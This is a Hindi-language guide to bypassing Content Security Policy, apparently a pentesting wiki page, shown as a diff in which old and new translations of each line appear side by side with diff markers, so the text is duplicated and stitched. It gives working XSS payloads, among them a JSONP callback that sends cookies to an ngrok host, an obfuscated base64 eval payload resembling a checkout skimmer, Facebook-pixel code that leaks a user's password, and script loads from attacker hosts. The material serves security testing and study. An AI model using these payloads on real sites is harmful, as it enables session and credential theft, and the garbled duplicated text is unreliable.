```yaml
Content-Security-Policy: script-src 'self' ;
```
काम करने वाले पेलोड:
काम करने वाले payloads:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### फ़ाइल अपलोड + 'self'
### File Upload + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
यदि आप एक JS फ़ाइल अपलोड कर सकते हैं, तो आप इस CSP को बायपास कर सकते हैं:
यदि आप एक JS फाइल अपलोड कर सकते हैं तो आप इस CSP को बायपास कर सकते हैं:
कार्यशील पेलोड:
काम करने वाला payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
हालांकि, यह अत्यधिक संभावित है कि सर्वर **अपलोड की गई फ़ाइल को मान्य कर रहा है** और केवल आपको **निर्धारित प्रकार की फ़ाइलें अपलोड करने** की अनुमति देगा।
हालाँकि, यह काफी संभावित है कि server **validating the uploaded file** कर रहा होगा और केवल आपको कुछ निश्चित प्रकार की फाइलें ही **upload करने की अनुमति देगा**।
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके एक फ़ाइल के अंदर **JS कोड अपलोड** कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और ब्राउज़र जैसे Chrome **जावास्क्रिप्ट** कोड को कुछ ऐसा करने से **अस्वीकृत** करेंगे जो एक छवि होनी चाहिए। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
इसके अलावा, भले ही आप किसी extension (जैसे: _script.png_) का उपयोग करके फ़ाइल के अंदर **JS code inside** अपलोड कर सकें, तब भी यह अक्सर पर्याप्त नहीं होगा क्योंकि कुछ servers जैसे apache server फ़ाइल का MIME type **extension के आधार पर select** करते हैं और ब्राउज़र्स जैसे Chrome उस चीज़ के भीतर मौजूद Javascript code को **execute करने से reject** कर देंगे जो कि एक image होनी चाहिए। "खुशकिस्मती से", गलतियाँ होती हैं। उदाहरण के लिए, एक CTF में मैंने सीखा कि **Apache doesn't know** _**.wave**_ extension, इसलिए यह उसे **MIME type like audio/*** के साथ serve नहीं करता।
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्यायित एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([कुछ पॉलीग्लॉट उदाहरण यहाँ](https://github.com/Polydet/polyglot-database))।
From here, यदि आपको XSS और file upload दोनों मिल जाएँ, और आप किसी **misinterpreted extension** को ढूँढने में कामयाब हों, तो आप उस extension के साथ एक फाइल और script का Content upload करने की कोशिश कर सकते हैं। या, यदि server uploaded file के correct format की जांच कर रहा है, तो एक polyglot बनाएँ ([some polyglot examples here](https://github.com/Polydet/polyglot-database))।
### Form-action
यदि JS इंजेक्ट करना संभव नहीं है, तो आप अभी भी उदाहरण के लिए क्रेडेंशियल्स को **फॉर्म एक्शन को इंजेक्ट करके** एक्सफिल्ट्रेट करने की कोशिश कर सकते हैं (और शायद पासवर्ड प्रबंधकों से पासवर्ड को ऑटो-फिल करने की उम्मीद कर सकते हैं)। आप [**इस रिपोर्ट में एक उदाहरण पा सकते हैं**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)। इसके अलावा, ध्यान दें कि `default-src` फॉर्म क्रियाओं को कवर नहीं करता है।
यदि JS inject करना संभव न हो, तो आप फिर भी उदाहरण के लिए credentials exfiltrate करने की कोशिश कर सकते हैं — **injecting a form action** (और शायद password managers से passwords auto-fill होने की उम्मीद रखते हुए)। आप एक [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) देख सकते हैं। साथ ही ध्यान दें कि `default-src` form actions को कवर नहीं करता।
### थर्ड पार्टी एंडपॉइंट + ('unsafe-eval')
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> निम्नलिखित में से कुछ पेलोड के लिए **`unsafe-eval` की आवश्यकता नहीं है**।
> For some of the following payload **`unsafe-eval` is not even needed**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
एक कमजोर संस्करण का angular लोड करें और मनमाना JS निष्पादित करें:
एक vulnerable version of angular लोड करें और arbitrary JS निष्पादित करें:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -197,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads using Angular + एक लाइब्रेरी जिनके फंक्शन्स `window` ऑब्जेक्ट लौटाते हैं ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> यह पोस्ट दिखाता है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी **लाइब्रेरीज़** **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी से सभी जोड़े गए फ़ंक्शंस को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शंस कौन सी लाइब्रेरीज़ से `window` ऑब्जेक्ट लौटाते हैं**।
> यह पोस्ट दिखाती है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS libraries repo) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी के जोड़े गए सभी फ़ंक्शन्स को चलाकर, और जांच सकते हैं कि **कौन से फ़ंक्शन किस लाइब्रेरी से `window` ऑब्जेक्ट लौटाते हैं**।
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -224,15 +225,15 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
क्लास नाम से Angular XSS:
Angular XSS एक class name से:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Google reCAPTCHA JS कोड का दुरुपयोग
#### google recaptcha JS code का दुरुपयोग
[**इस CTF लेख**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) के अनुसार, आप CSP के अंदर [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) का दुरुपयोग करके मनमाने JS कोड को CSP को बायपास करते हुए निष्पादित कर सकते हैं:
इस [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) के अनुसार आप [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) को CSP के अंदर दुरुपयोग करके arbitrary JS code execute कर सकते हैं और CSP को bypass कर सकते हैं:
```html
<div
ng-controller="CarouselController as c"
@ -243,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
अधिक [**payloads इस लेख से**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
अधिक [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -260,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### www.google.com का उपयोग करके ओपन रीडायरेक्ट का दुरुपयोग
#### open redirect के लिए www.google.com का दुरुपयोग
निम्नलिखित URL example.com पर रीडायरेक्ट करता है (यहां से):
निम्नलिखित URL example.com पर redirect करता है (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abusing \*.google.com/script.google.com
दुरुपयोग \*.google.com/script.google.com
Google Apps Script का दुरुपयोग करके script.google.com के अंदर एक पृष्ठ में जानकारी प्राप्त करना संभव है। जैसे कि इसे [इस रिपोर्ट में किया गया है](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Google Apps Script का दुरुपयोग करके script.google.com के भीतर एक पेज में जानकारी प्राप्त करना संभव है। जैसा कि [इस रिपोर्ट](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) में किया गया है।
### Third Party Endpoints + JSONP
### तीसरे-पक्ष Endpoints + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
इस तरह के परिदृश्यों में जहाँ `script-src` को `self` और एक विशेष डोमेन पर सेट किया गया है जिसे व्हाइटलिस्ट किया गया है, JSONP का उपयोग करके बायपास किया जा सकता है। JSONP एंडपॉइंट असुरक्षित कॉलबैक विधियों की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं, कार्यशील पेलोड:
इस तरह के परिदृश्यों में जहाँ `script-src` को `self` और किसी विशेष whitelisted डोमेन पर सेट किया गया हो, उसे JSONP के माध्यम से बायपास किया जा सकता है। JSONP endpoints असुरक्षित callback methods की अनुमति देते हैं जो एक attacker को XSS अंजाम देने की अनुमति देते हैं, working payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -288,13 +289,13 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **विभिन्न वेबसाइटों के CSP बायपास के लिए उपयोग करने के लिए तैयार JSONP एंडपॉइंट्स शामिल करता है।**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **तैयार उपयोग के लिए JSONP endpoints प्रदान करता है जो विभिन्न वेबसाइटों के CSP bypass के लिए हैं।**
यदि **विश्वसनीय एंडपॉइंट में एक ओपन रीडायरेक्ट है**, तो वही भेद्यता उत्पन्न होगी क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट भी विश्वसनीय हैं।
The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted.
### थर्ड पार्टी दुरुपयोग
### तृतीय-पक्ष दुरुपयोग
जैसा कि [निम्नलिखित पोस्ट](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) में वर्णित है, कई थर्ड पार्टी डोमेन हैं, जो CSP में कहीं न कहीं अनुमति दी जा सकती हैं, जिन्हें डेटा को एक्सफिल्ट्रेट करने या जावास्क्रिप्ट कोड निष्पादित करने के लिए दुरुपयोग किया जा सकता है। इनमें से कुछ थर्ड-पार्टी हैं:
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ऐसे कई third-party domains हैं, जिन्हें CSP में कहीं न कहीं allow किया गया हो सकता है, और उनका दुरुपयोग data exfiltrate करने या JavaScript code execute करने के लिए किया जा सकता है। इनमें से कुछ third-parties हैं:
| Entity | Allowed Domain | Capabilities |
| ----------------- | -------------------------------------------- | ------------ |
@ -307,9 +308,9 @@ https://www.youtube.com/oembed?callback=alert;
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
यदि आप अपने लक्ष्य के CSP में किसी भी अनुमति प्राप्त डोमेन को पाते हैं, तो संभावना है कि आप थर्ड-पार्टी सेवा पर पंजीकरण करके CSP को बायपास कर सकते हैं और, या तो उस सेवा पर डेटा को एक्सफिल्ट्रेट कर सकते हैं या कोड निष्पादित कर सकते हैं।
यदि आप अपने लक्ष्य की CSP में किसी भी allowed domain को पाते हैं, तो संभावना है कि आप third-party सेवा पर register करके CSP को bypass कर सकते हैं और या तो data exfiltrate कर सकते हैं उस सेवा पर या code execute करवा सकते हैं।
उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:
For example, if you find the following CSP:
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
@ -317,43 +318,43 @@ Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
आपको डेटा को एक्सफिल्ट्रेट करने में सक्षम होना चाहिए, जैसे कि हमेशा [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) के साथ किया गया है। इस मामले में, आप इन सामान्य चरणों का पालन करते हैं:
आप exfiltrate data करने में सक्षम होने चाहिए, ठीक उसी तरह जैसे यह हमेशा [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) के साथ किया गया है। इस मामले में, आप सामान्यतः निम्न चरणों का पालन करते हैं:
1. यहाँ एक Facebook Developer खाता बनाएं।
2. एक नया "Facebook Login" ऐप बनाएं और "Website" चुनें।
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें।
4. लक्षित साइट पर, जिससे आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
5. अपने ऐप के "Event Manager" पर जाएं और उस ऐप्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)।
6. "Test Events" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।
1. यहाँ एक Facebook Developer account बनाएं.
2. एक नया "Facebook Login" app बनाएं और "Website" चुनें.
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें.
4. जिस target site से आप exfiltrate data करना चाहते हैं, आप सीधे Facebook SDK gadget "fbq" का उपयोग करके एक "customEvent" और data payload के माध्यम से data exfiltrate कर सकते हैं.
5. अपने App के "Event Manager" में जाएं और आपने जो application बनाया है उसे चुनें (ध्यान दें कि event manager इस तरह के URL में मिल सकता है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. "Test Events" टैब चुनें ताकि आप "your" web site द्वारा भेजे जा रहे events देख सकें.
फिर, पीड़ित पक्ष पर, आप Facebook ट्रैकिंग पिक्सेल को हमलावर के Facebook डेवलपर खाता ऐप-आईडी की ओर इंगित करने और इस तरह का एक कस्टम इवेंट जारी करने के लिए निम्नलिखित कोड निष्पादित करते हैं:
फिर, victim साइड पर, आप निम्न code को execute करते हैं ताकि Facebook tracking pixel को attacker के Facebook developer account app-id की ओर initialize किया जा सके और इस तरह एक custom event issue किया जा सके:
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});
```
जैसे कि पिछले तालिका में निर्दिष्ट अन्य सात तृतीय-पक्ष डोमेन के लिए, उन्हें दुरुपयोग करने के कई अन्य तरीके हैं। अन्य तृतीय-पक्ष दुरुपयोगों के बारे में अतिरिक्त स्पष्टीकरण के लिए पहले के [ब्लॉग पोस्ट](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) को देखें।
पिछली तालिका में निर्दिष्ट बाकी सात third-party domains के लिए, उन्हें abuse करने के कई अन्य तरीके हैं। अन्य third-party abuses के बारे में अतिरिक्त व्याख्याओं के लिए पहले दिए गए [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) को देखें।
### RPO (Relative Path Overwrite) के माध्यम से बायपास <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
पथ प्रतिबंधों को बायपास करने के लिए उपरोक्त पुनर्निर्देशन के अलावा, एक और तकनीक है जिसे Relative Path Overwrite (RPO) कहा जाता है, जिसे कुछ सर्वरों पर उपयोग किया जा सकता है।
पाथ प्रतिबंधों को bypass करने के लिए उपरोक्त redirection के अलावा, कुछ सर्वरों पर Relative Path Overwrite (RPO) नामक एक और technique इस्तेमाल की जा सकती है।
उदाहरण के लिए, यदि CSP पथ `https://example.com/scripts/react/` की अनुमति देता है, तो इसे निम्नलिखित तरीके से बायपास किया जा सकता है:
उदाहरण के लिए, यदि CSP allows the path `https://example.com/scripts/react/`, तो इसे निम्नलिखित तरीके से bypass किया जा सकता है:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
ब्राउज़र अंततः `https://example.com/scripts/angular/angular.js` को लोड करेगा।
ब्राउज़र अंततः `https://example.com/scripts/angular/angular.js` लोड करेगा।
यह काम करता है क्योंकि ब्राउज़र के लिए, आप `https://example.com/scripts/react/` के तहत स्थित `..%2fangular%2fangular.js` नामक फ़ाइल को लोड कर रहे हैं, जो CSP के अनुरूप है।
यह इसलिए काम करता है क्योंकि ब्राउज़र के लिए आप `https://example.com/scripts/react/` के अंतर्गत `..%2fangular%2fangular.js` नाम की फ़ाइल लोड कर रहे हैं, जो CSP के अनुरूप है।
∑, वे इसे डिकोड करेंगे, प्रभावी रूप से `https://example.com/scripts/react/../angular/angular.js` का अनुरोध करेंगे, जो `https://example.com/scripts/angular/angular.js` के बराबर है।
∑, वे इसे डिकोड कर देंगे, और प्रभावी रूप से `https://example.com/scripts/react/../angular/angular.js` का अनुरोध करेंगे, जो `https://example.com/scripts/angular/angular.js` के बराबर है।
**ब्राउज़र और सर्वर के बीच URL व्याख्या में इस असंगति का लाभ उठाकर, पथ नियमों को बायपास किया जा सकता है**।
ब्राउज़र और सर्वर के बीच URL व्याख्या में इस असंगति का **शोषण करके, path rules को बाईपास किया जा सकता है**।
समाधान यह है कि सर्वर-साइड पर `%2f` को `/` के रूप में नहीं माना जाए, जिससे ब्राउज़र और सर्वर के बीच व्याख्या में निरंतरता सुनिश्चित हो सके और इस समस्या से बचा जा सके।
समाधान यह है कि server-side पर `%2f` को `/` के रूप में न माना जाए, ताकि ब्राउज़र और सर्वर के बीच व्याख्या संगत रहे और यह समस्या न हो।
ऑनलाइन उदाहरण:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS निष्पादन
@ -362,35 +363,34 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### गायब **base-uri**
### **base-uri** अनुपस्थित
यदि **base-uri** निर्देश गायब है तो आप इसका दुरुपयोग कर सकते हैं [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) करने के लिए।
यदि **base-uri** निर्देश गायब है तो आप इसका दुरुपयोग करके [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) कर सकते हैं।
इसके अलावा, यदि **पृष्ठ एक सापेक्ष पथ का उपयोग करके स्क्रिप्ट लोड कर रहा है** (जैसे `<script src="/js/app.js">`) एक **Nonce** का उपयोग करते हुए, आप **base** **tag** का दुरुपयोग कर सकते हैं ताकि यह **आपके अपने सर्वर से स्क्रिप्ट लोड करे जिससे XSS प्राप्त हो सके।**\
यदि संवेदनशील पृष्ठ **httpS** के साथ लोड होता है, तो बेस में httpS URL का उपयोग करें।
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **लोड** the script from **अपने सर्वर से XSS हासिल कर सकते हैं।**\
```html
<base href="https://www.attacker.com/" />
```
### AngularJS घटनाएँ
### AngularJS इवेंट्स
एक विशिष्ट नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, JavaScript घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, `$event/event` ऑब्जेक्ट में एक `path` विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स से बचने की रणनीतियों के लिए महत्वपूर्ण है।
एक विशेष नीति जिसे Content Security Policy (CSP) कहा जाता है, JavaScript इवेंट्स को प्रतिबंधित कर सकती है। फिर भी, AngularJS वैकल्पिक के रूप में कस्टम इवेंट्स पेश करता है। किसी इवेंट के अंदर, AngularJS एक विशिष्ट ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र इवेंट ऑब्जेक्ट का संदर्भ देता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को बाईपास करने के लिए किया जा सकता है। खासकर Chrome में, `$event/event` ऑब्जेक्ट में एक `path` एट्रिब्यूट होता है, जो इवेंट के निष्पादन श्रृंखला में शामिल ऑब्जेक्ट्स की एक array रखता है, और `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना sandbox escape तकनीकों के लिए महत्वपूर्ण है।
इस सरणी को `orderBy` फ़िल्टर की ओर निर्देशित करके, इसे पार करना संभव है, अंतिम तत्व ( `window` ऑब्जेक्ट) का उपयोग करके एक वैश्विक फ़ंक्शन जैसे `alert()` को ट्रिगर करना। नीचे प्रदर्शित कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
इस array को `orderBy` filter की ओर निर्देशित करके, इसे iterate किया जा सकता है और अंतिम तत्व (the `window` object) का उपयोग करके global function जैसे `alert()` को ट्रिगर किया जा सकता है। नीचे दिया गया कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
यह स्निप्पेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने को उजागर करता है, `$event.path|orderBy` का उपयोग करके `path` एरे को संशोधित करता है, और `alert()` फ़ंक्शन को निष्पादित करने के लिए `window` ऑब्जेक्ट का लाभ उठाता है, इस प्रकार `document.cookie` को प्रकट करता है।
यह स्निपेट दिखाता है कि इवेंट ट्रिगर करने के लिए `ng-focus` directive का उपयोग कैसे किया जाता है, `$event.path|orderBy` द्वारा `path` array में हेरफेर कैसे किया जाता है, और `window` object का उपयोग करके `alert()` function चलाकर `document.cookie` कैसे प्रकट होता है।
**अन्य Angular बायपास खोजें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**अन्य Angular bypasses खोजने के लिए देखें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS और व्हाइटलिस्टेड डोमेन
### AngularJS और whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के उपयोग के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर उपलब्ध एक विस्तृत गाइड में मिल सकती है।
Angular JS एप्लिकेशन में स्क्रिप्ट लोड करने के लिए डोमेन्स को व्हाइटलिस्ट करने वाली CSP नीति को callback functions के कॉल और कुछ vulnerable classes के माध्यम से बायपास किया जा सकता है। इस तकनीक पर विस्तृत जानकारी इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) में मौजूद गाइड में मिलती है।
कार्यशील पेलोड:
Working payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -398,15 +398,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स [**यहां**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) पाए जा सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
अन्य JSONP arbitrary execution endpoints को [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) में पाया जा सकता है (उनमें से कुछ हटाए गए या ठीक किए गए थे)
### रीडायरेक्शन के माध्यम से बायपास
### Bypass via Redirection
जब CSP सर्वर-साइड रीडायरेक्शन का सामना करता है तो क्या होता है? यदि रीडायरेक्शन एक अलग मूल की ओर ले जाता है जो अनुमति नहीं है, तो यह अभी भी विफल हो जाएगा।
जब CSP को server-side redirection मिलता है तो क्या होता है? अगर redirection किसी ऐसे अलग origin की ओर ले जाता है जो allowed नहीं है, तो यह फिर भी विफल होगा।
हालांकि, [CSP स्पेक 4.2.2.3. पाथ्स और रीडायरेक्ट्स](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में वर्णन के अनुसार, यदि रीडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बायपास कर सकता है।
हालाँकि, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में दिए गए विवरण के अनुसार, अगर redirection किसी अलग path की ओर ले जाता है, तो यह original restrictions को bypass कर सकता है।
यहां एक उदाहरण है:
यहाँ एक उदाहरण है:
```html
<!DOCTYPE html>
<html>
@ -424,25 +424,25 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
यदि CSP को `https://www.google.com/a/b/c/d` पर सेट किया गया है, तो चूंकि पथ पर विचार किया जाता है, दोनों `/test` और `/a/test` स्क्रिप्ट CSP द्वारा अवरुद्ध कर दिए जाएंगे।
यदि CSP `https://www.google.com/a/b/c/d` पर सेट है, तो चूँकि पाथ पर विचार किया जाता है, दोनों `/test` और `/a/test` स्क्रिप्ट्स CSP द्वारा ब्लॉक कर दी जाएँगी।
हालांकि, अंतिम `http://localhost:5555/301` को **सर्वर-साइड पर `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`** पर **रीडायरेक्ट किया जाएगा**। चूंकि यह एक रीडायरेक्शन है, **पथ पर विचार नहीं किया जाता**, और **स्क्रिप्ट लोड की जा सकती है**, इस प्रकार पथ प्रतिबंध को बायपास किया जा रहा है।
